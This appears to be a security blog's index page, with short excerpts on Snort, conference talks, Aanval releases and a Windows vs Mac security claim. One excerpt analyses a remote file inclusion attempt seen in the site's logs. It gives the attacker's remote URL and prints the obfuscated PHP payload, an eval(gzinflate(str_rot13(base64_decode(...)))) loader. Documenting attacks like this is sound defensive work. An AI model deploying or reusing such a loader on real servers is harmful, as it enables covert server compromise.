Loyal Moses

Snort
Snort is the worlds most popular signature based network intrusion detection and prevention engine available today.
Snort is an open source project managed by Sourcefire, Inc.
Details and the official Snort website are available at: http://www.snort.org/
Those who are not yet fully familiar with Snort may not know that in order to really take advantage of the [...]

Apparently this is the viewpoint of one “Rob Enderie” who claims this:
“Will Windows 7 Be More Secure Than Snow Leopard?
It will because it has to be. With the launch of Windows 7, Macs will be targeted much more often, and Apple’s policy of concealing the related exposures has the potential to result in a major [...]

Well, I thought this to be a humorous find in the webserver logs on a Monday afternoon.
It was an attempt to remotely load the following URL on the Aanval.com primary domain:
http://oubkhammuseum.com/templates/idvop.txt
The content of the URL (in the event is gets pulled):

$vopcrew = “pZLNd8MwEITvgbyDIgyWIZT059Q0xdBYYg30TRCOvIpIecl15cYh5N0ryWTSUCCH3sTMzrfDosQg

TJF8/b7mH5/L6QRRcgj9TLRi9mT3srGv9CwafEEMjk0immVSSBnfgLDtR0OgdMHJxtTF8spnIjstn

DKaxDkJ2cGnLYQOduonlCR5Blrr9oMdfCXZGOPQK2fIRehOpNHNwzMOzwMoLD4Bv43SjH52bTaOvk

eNYw2IFdQ1v2BCjPyiD4VhQ/booDkVMxuOrrCOhUM+S3TIyPdQW2NcGO1Ae1Gc9SLokosaCs1hrHk

LUUrZ7urS0fz32lwh90TTTAEskQHRmhb0Y2t3dvb3dzR8il2ld2CzXIKRPpJy5ECif+fD0k9EbWh+

v2trypbkGMqK2mCgx9VeseA6q3AoKL8=”;

eval(gzinflate(str_rot13(base64_decode($vopcrew))));

exit;

And of course, the decoded PHP version that they would prefer to [...]

Speaking at this springs IVNUA conference. Done.
Saw a lot of familiar faces and met another fine group of people.
After 6 hours of speaking on only 3 hours of sleep the night before, the pipes were a little tired and it was nice to wrap up the day, however as always it was a great experience [...]

Thursday I will be in Chicago speaking on security at this springs Illinois Valley Network Users Association conference.
The course schedule - http://www.ivnua.org/spring2009%20schedule.htm
The IVNUA conference is always a pleasure to speak at and I look forward to seeing those familiar faces in the front row.
I haven’t kept track, but this might be the 6th or [...]

I am under some serious time constraints here as of lately, as I prepare for this springs IVNUA conference next week along with continued development on Aanval and liveSnort.
I’ll be posting the presentations for the 3 security sessions online shortly.
In addition, this weekend is shaping up to be an exciting roller coaster as well — [...]

FYI: As of version 4.1 Aanval is now a part of Tactical FLEX and no longer Remote Assessment.

Aanval 4.2 was recently released (Friday AM) and includes several major changes that fit the new ownership. See the release notes @ http://www.aanval.com/ for specifics.

Users of course will notice the new look / feel, which is much more [...]